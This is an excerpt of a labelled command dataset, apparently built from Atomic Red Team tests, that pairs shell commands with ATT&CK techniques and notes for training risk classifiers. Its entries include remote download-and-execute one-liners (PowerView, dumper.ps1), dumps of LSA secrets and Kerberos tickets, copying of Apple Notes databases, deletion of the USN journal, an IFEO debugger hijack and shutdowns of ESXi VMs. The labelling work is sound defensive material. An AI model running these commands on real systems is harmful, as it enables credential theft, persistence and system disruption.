cowWhySo/permission-command-corpus huggingface dataset:
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainTrust -Verbose
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1482
Platform: windows
ATT&CK tags: T1482
Source rule: Get-DomainTrust with PowerView
Notes: Utilizing PowerView, run Get-DomainTrust to identify domain trusts. Upon execution, progress and info about trusts within the domain being scanned will be displayed.
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-ForestTrust -Verbose
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1482
Platform: windows
ATT&CK tags: T1482
Source rule: Get-ForestTrust with PowerView
Notes: Utilizing PowerView, run Get-ForestTrust to identify forest trusts. Upon execution, progress and info about forest trusts within the domain being scanned will be displayed.
Command: "#{trufflesnout_path}" forest -n #{domain} "#{trufflesnout_path}" domain -n #{domain}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1482
Platform: windows
ATT&CK tags: T1482
Source rule: TruffleSnout - Listing AD Infrastructure
Notes: Iterative AD discovery toolkit for offensive operators. Situational awareness and targeted low noise enumeration. Preference for OpSec.- https://github.com/dsnezhkov/TruffleSnout
Command: bcdedit /set testsigning on
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.006
Platform: windows
ATT&CK tags: T1553.006
Source rule: Code Signing Policy Modification
Notes: Allows adversaries to subvert trust controls by modifying the code signing policy, enabling the execution of unsigned drivers.
Command: bcdedit /set testsigning off
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.006
Platform: windows
ATT&CK tags: T1553.006
Source rule: Code Signing Policy Modification
Notes: Allows adversaries to subvert trust controls by modifying the code signing policy, enabling the execution of unsigned drivers.
Command: pnputil.exe /add-driver "#{driver_inf}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547
Platform: windows
ATT&CK tags: T1547
Source rule: Add a driver
Notes: Install a driver via pnputil.exe lolbin
Command: pnputil.exe -i -a #{driver_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547
Platform: windows
ATT&CK tags: T1547
Source rule: Driver Installation Using pnputil.exe
Notes: pnputil.exe is a native command-line utility in Windows to install drivers, this can be abused by to install malicious drivers. Ref: https://lolbas-project.github.io/lolbas/Binaries/Pnputil/
Command: reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default\Addins\#{Subkey_Added}" /v Name /t REG_SZ /d "#{dll_inf}" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547
Platform: windows
ATT&CK tags: T1547
Source rule: Leverage Virtual Channels to execute custom DLL during successful RDP session
Notes: Virtual Channels can be leveraged to alter RDP behavior using dedicated Addins.The mechanism is implemented using DLLs which can be executed during RDP session automatically. 
The DLLs are loaded in the host system only after successful connection is established with the remote system.
Once the test is run, amsi.dll will be loaded on the host system during successful RDP session.
Blog :https://learn.microsoft.com/en-us/windows/win32/termserv/terminal-services-virtual-channels?redirectedfrom=MSDN
Command: reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default\Addins\#{Subkey_Added}" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547
Platform: windows
ATT&CK tags: T1547
Source rule: Leverage Virtual Channels to execute custom DLL during successful RDP session
Notes: Virtual Channels can be leveraged to alter RDP behavior using dedicated Addins.The mechanism is implemented using DLLs which can be executed during RDP session automatically. 
The DLLs are loaded in the host system only after successful connection is established with the remote system.
Once the test is run, amsi.dll will be loaded on the host system during successful RDP session.
Blog :https://learn.microsoft.com/en-us/windows/win32/termserv/terminal-services-virtual-channels?redirectedfrom=MSDN
Command: Set-Location "#{working_dir}" Stop-Process -Name chrome -Force Remove-Item .\chrome.zip, .\chrome-win, .\extension, .\extension.zip -Recurse -Force Set-Variable ProgressPreference Continue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1176
Platform: windows
ATT&CK tags: T1176
Source rule: Google Chrome Load Unpacked Extension With Command Line
Notes: This test loads an unpacked extension in Google Chrome with the `--load-extension` parameter. This technique was previously used by the Grandoreiro malware to load a malicious extension that would capture the browsing history, steal cookies and other user information. Other malwares also leverage this technique to hijack searches, steal passwords, inject ads, and more.

References:
https://attack.mitre.org/techniques/T1176/
https://securityintelligence.com/posts/grandoreiro-malware-now-targeting
Command: aws --no-sign-request s3 cp --recursive s3://#{s3_bucket_name} /tmp/#{s3_bucket_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1530
Platform: iaas:aws
ATT&CK tags: T1530
Source rule: AWS - Scan for Anonymous Access to S3
Notes: Upon successful execution, this test will test for anonymous access to AWS S3 buckets and dumps all the files to a local folder.
Command: aws s3 rb s3://#{s3_bucket_name} --force rm -rf /tmp/#{s3_bucket_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1530
Platform: iaas:aws
ATT&CK tags: T1530
Source rule: AWS - Scan for Anonymous Access to S3
Notes: Upon successful execution, this test will test for anonymous access to AWS S3 buckets and dumps all the files to a local folder.
Command: Remove-Item -Path "#{output_folder}" -Recurse -Force -erroraction silentlycontinue Write-Output "Removed #{output_folder}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1530
Platform: iaas:azure
ATT&CK tags: T1530
Source rule: Azure - Dump Azure Storage Account Objects via Azure CLI
Notes: This test dumps the content of the storage account objects present in the file defined in file_shares_csv_file_path. Note that this file is created in the atomic test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". When created manually, it must contain the columns "ResourceGroup","StorageAccountName", "FileShareName", "ContainerName", "BlobName".

Requirements:
    - The test is intended to be executed in interactive mode (with -Interactive parame
Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -out:#{output_file_name} "#{input_source_code}" #{output_file_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1010
Platform: windows
ATT&CK tags: T1010
Source rule: List Process Main Windows - C# .NET
Notes: Compiles and executes C# code to list main window titles associated with each process.

Upon successful execution, powershell will download the .cs from the Atomic Red Team repo, and cmd.exe will compile and execute T1010.exe. Upon T1010.exe execution, expected output will be via stdout.
Command: del /f /q /s #{output_file_name} >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1010
Platform: windows
ATT&CK tags: T1010
Source rule: List Process Main Windows - C# .NET
Notes: Compiles and executes C# code to list main window titles associated with each process.

Upon successful execution, powershell will download the .cs from the Atomic Red Team repo, and cmd.exe will compile and execute T1010.exe. Upon T1010.exe execution, expected output will be via stdout.
Command: Remove-Item -Path $outputZip\data.zip -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1005
Platform: windows
ATT&CK tags: T1005
Source rule: Search files of interest and save them to a single zip file (Windows)
Notes: This test searches for files of certain extensions and saves them to a single zip file prior to extraction.
Command: cd $HOME curl -O #{remote_url}/art curl -O #{remote_url}/gta.db curl -O #{remote_url}/sqlite_dump.sh chmod +x sqlite_dump.sh find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1005
Platform: linux
ATT&CK tags: T1005
Source rule: Find and dump sqlite databases (Linux)
Notes: An adversary may know/assume that the user of a system uses sqlite databases which contain interest and sensitive data. In this test we download two databases and a sqlite dump script, then run a find command to find & dump the database content.
Command: rm -f $HOME/.art rm -f $HOME/gta.db rm -f $HOME/sqlite_dump.sh
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1005
Platform: linux
ATT&CK tags: T1005
Source rule: Find and dump sqlite databases (Linux)
Notes: An adversary may know/assume that the user of a system uses sqlite databases which contain interest and sensitive data. In this test we download two databases and a sqlite dump script, then run a find command to find & dump the database content.
Command: osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1005
Platform: macos
ATT&CK tags: T1005
Source rule: Copy Apple Notes database files using AppleScript
Notes: This command will copy Apple Notes database files using AppleScript as seen in Atomic Stealer.
Command: rm "#{destination_path}/NoteStore.sqlite*"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1005
Platform: macos
ATT&CK tags: T1005
Source rule: Copy Apple Notes database files using AppleScript
Notes: This command will copy Apple Notes database files using AppleScript as seen in Atomic Stealer.
Command: "#{psexec_exe}" -accepteula -s reg save HKLM\security\policy\secrets %temp%\secrets /y
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.004
Platform: windows
ATT&CK tags: T1003.004
Source rule: Dumping LSA Secrets
Notes: Dump secrets key from Windows registry
When successful, the dumped file will be written to $env:Temp\secrets.
Attackers may use the secrets key to assist with extracting passwords and enumerating other sensitive system information.
https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/#:~:text=LSA%20Secrets%20is%20a%20registry,host%2C%20local%20security%20policy%20etc.
Command: del %temp%\secrets >nul 2> nul
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.004
Platform: windows
ATT&CK tags: T1003.004
Source rule: Dumping LSA Secrets
Notes: Dump secrets key from Windows registry
When successful, the dumped file will be written to $env:Temp\secrets.
Attackers may use the secrets key to assist with extracting passwords and enumerating other sensitive system information.
https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/#:~:text=LSA%20Secrets%20is%20a%20registry,host%2C%20local%20security%20policy%20etc.
Command: Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/MzHmO/PowershellKerberos/beed52acda37fc531ef0cb4df3fc2eb63a74bbb8/dumper.ps1')
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.004
Platform: windows
ATT&CK tags: T1003.004
Source rule: Dump Kerberos Tickets from LSA using dumper.ps1
Notes: This tool allows you to dump Kerberos tickets from the LSA cache. Implemented via Add-Type.
If the tool is run as a privileged user, it will automatically obtain NT AUTHORITY\SYSTEM privileges and then dump all tickets. If the tool is run as a non-privileged user, it will only dump tickets from the current logon session.
Ref: https://github.com/MzHmO/PowershellKerberos/
Author of dumper.ps1: Michael Zhmaylo (@MzHmO)
Command: fsutil usn deletejournal /D C:
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070
Platform: windows
ATT&CK tags: T1070
Source rule: Indicator Removal using FSUtil
Notes: Manages the update sequence number (USN) change journal, which provides a persistent log of all changes made to files on the volume. Upon execution, no output
will be displayed. More information about fsutil can be found at https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn
Command: fsutil usn createjournal m=1000 a=100 c:
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070
Platform: windows
ATT&CK tags: T1070
Source rule: Indicator Removal using FSUtil
Notes: Manages the update sequence number (USN) change journal, which provides a persistent log of all changes made to files on the volume. Upon execution, no output
will be displayed. More information about fsutil can be found at https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn
Command: if (-not (Test-Path "#{file_to_manipulate}")) { New-Item "#{file_to_manipulate}" -Force } echo "1234567890" > "#{file_to_manipulate}" fsutil file setZeroData offset=0 length=#{file_data_length} "#{file_to_manipulate}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070
Platform: windows
ATT&CK tags: T1070
Source rule: Indicator Manipulation using FSUtil
Notes: Finds a file by user name (if Disk Quotas are enabled), queries allocated ranges for a file, sets a file's short name, sets a file's valid data length, sets zero data for a file, or creates a new file. Upon execution, no output
will be displayed. More information about fsutil can be found at https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-file
- https://tria.ge/230601-x8x6bsgb24/behavioral2
Command: rm "#{file_to_manipulate}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070
Platform: windows
ATT&CK tags: T1070
Source rule: Indicator Manipulation using FSUtil
Notes: Finds a file by user name (if Disk Quotas are enabled), queries allocated ranges for a file, sets a file's short name, sets a file's valid data length, sets zero data for a file, or creates a new file. Upon execution, no output
will be displayed. More information about fsutil can be found at https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-file
- https://tria.ge/230601-x8x6bsgb24/behavioral2
Command: gcloud config set project #{project-id} gcloud iam service-accounts create #{service-account-name} gcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.004
Platform: google-workspace,iaas:gcp
ATT&CK tags: T1078.004
Source rule: Creating GCP Service Account and Service Account Key
Notes: GCP Service Accounts can be used to gain intial access as well as maintain persistence inside Google Cloud.
Command: gcloud iam service-accounts delete #{service-account-email} --quiet
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.004
Platform: google-workspace,iaas:gcp
ATT&CK tags: T1078.004
Source rule: Creating GCP Service Account and Service Account Key
Notes: GCP Service Accounts can be used to gain intial access as well as maintain persistence inside Google Cloud.
Command: New-AzAutomationRunbook -Name #{runbook_name} -Type PowerShell -ResourceGroupName #{resource_group} -Description 'my-test-runbook' -AutomationAccountName #{automation_account_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.004
Platform: iaas:azure
ATT&CK tags: T1078.004
Source rule: Azure Persistence Automation Runbook Created or Modified
Notes: Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure
Automation runbook to execute malicious code and maintain persistence in their target's environment.
Command: Remove-AzAutomationRunbook -AutomationAccountName #{automation_account_name} -Name #{runbook_name} -ResourceGroupName #{resource_group} -Force Remove-AzAutomationAccount -ResourceGroupName #{resource_group} -Name #{automation_account_name} -Force Remove-AzResourceGroup -Name #{resource_group} -Force echo "Cleanup should be completed. Run 'terraform destroy` to ensure remaining resources are also deleted." cd "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/" terraform destroy -auto-approve
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.004
Platform: iaas:azure
ATT&CK tags: T1078.004
Source rule: Azure Persistence Automation Runbook Created or Modified
Notes: Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure
Automation runbook to execute malicious code and maintain persistence in their target's environment.
Command: gcloud config set project #{project-id} gcloud iam roles create #{role-name} --description="#{role-description}" --permissions=#{roles} --project=#{project-id}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.004
Platform: iaas:gcp
ATT&CK tags: T1078.004
Source rule: GCP - Create Custom IAM Role
Notes: This atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*. The idea for this Atomic came from a Rule published by the Elastic team.

Identifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). 
Custom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. 
Custom roles will not be updated automatically and could lead to privilege creep if not carefully sc
Command: gcloud iam roles delete #{role-name} --project=#{project-id}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1078.004
Platform: iaas:gcp
ATT&CK tags: T1078.004
Source rule: GCP - Create Custom IAM Role
Notes: This atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*. The idea for this Atomic came from a Rule published by the Elastic team.

Identifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). 
Custom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. 
Custom roles will not be updated automatically and could lead to privilege creep if not carefully sc
Command: shutdown /s /t #{timeout}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1529
Platform: windows
ATT&CK tags: T1529
Source rule: Shutdown System - Windows
Notes: This test shuts down a Windows system.
Command: shutdown /r /t #{timeout}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1529
Platform: windows
ATT&CK tags: T1529
Source rule: Restart System - Windows
Notes: This test restarts a Windows system.
Command: shutdown -r #{timeout}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1529
Platform: linux,macos
ATT&CK tags: T1529
Source rule: Restart System via `shutdown` - FreeBSD/macOS/Linux
Notes: This test restarts a FreeBSD/macOS/Linux system.
Command: shutdown -h #{timeout}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1529
Platform: linux,macos
ATT&CK tags: T1529
Source rule: Shutdown System via `shutdown` - FreeBSD/macOS/Linux
Notes: This test shuts down a FreeBSD/macOS/Linux system using a halt.
Command: halt -p
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1529
Platform: linux
ATT&CK tags: T1529
Source rule: Shutdown System via `halt` - FreeBSD/Linux
Notes: This test shuts down a FreeBSD/Linux system using `halt`.
Command: halt -r
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1529
Platform: linux
ATT&CK tags: T1529
Source rule: Reboot System via `halt` - FreeBSD
Notes: This test restarts a FreeBSD system using `halt`.
Command: halt --reboot
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1529
Platform: linux
ATT&CK tags: T1529
Source rule: Reboot System via `halt` - Linux
Notes: This test restarts a Linux system using `halt`.
Command: poweroff -r 3
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1529
Platform: linux
ATT&CK tags: T1529
Source rule: Reboot System via `poweroff` - FreeBSD
Notes: This test restarts a FreeBSD system using `poweroff`.
Command: poweroff --reboot
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1529
Platform: linux
ATT&CK tags: T1529
Source rule: Reboot System via `poweroff` - Linux
Notes: This test restarts a Linux system using `poweroff`.
Command: shutdown /l
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1529
Platform: windows
ATT&CK tags: T1529
Source rule: Logoff System - Windows
Notes: This test performs a Windows system logoff as seen in [dcrat backdoor capabilities](https://www.mandiant.com/resources/analyzing-dark-crystal-rat-backdoor)
Command: echo "" | "#{plink_file}" "#{vm_host}" -ssh -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1529
Platform: windows
ATT&CK tags: T1529
Source rule: ESXi - Terminates VMs using pkill
Notes: In VMWARE ESXi, process names starting with vmx are associated with running VMs. An adversary can use the pkill command to kill all processes with a prefix vmx.
[Reference](https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/)
Command: echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "for i in `vim-cmd vmsvc/getallvms | awk 'NR>1 {print $1}'`; do vim-cmd vmsvc/power.off $i & done"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1529
Platform: windows
ATT&CK tags: T1529
Source rule: ESXi - vim-cmd Used to Power Off VMs
Notes: Adversaries may power off VMs to facilitate the deployment of ransomware payloads.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#power%20off%20vm)
Command: echo "b" > /proc/sysrq-trigger
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1529
Platform: linux
ATT&CK tags: T1529
Source rule: Abuse of Linux Magic System Request Key for Reboot
Notes: adversaries with root or sufficient privileges to silently manipulate or destabilize a system. By writing to /proc/sysrq-trigger, they can forced to reboot.
Command: $input_table = "#{parent_list}".split(",") $Name = "Debugger" $Value = "#{attached_process}" Foreach ($item in $input_table){ $item = $item.trim() $registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item" IF(!(Test-Path $registryPath)) { New-Item -Path $registryPath -Force New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force } ELSE { New-ItemProperty -Path $registryPath -Name $name -Value $Value } }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.008
Platform: windows
ATT&CK tags: T1546.008
Source rule: Attaches Command Prompt as a Debugger to a List of Target Processes
Notes: Attaches cmd.exe to a list of processes. Configure your own Input arguments to a different executable or list of executables.
Upon successful execution, powershell will modify the registry and swap osk.exe with cmd.exe.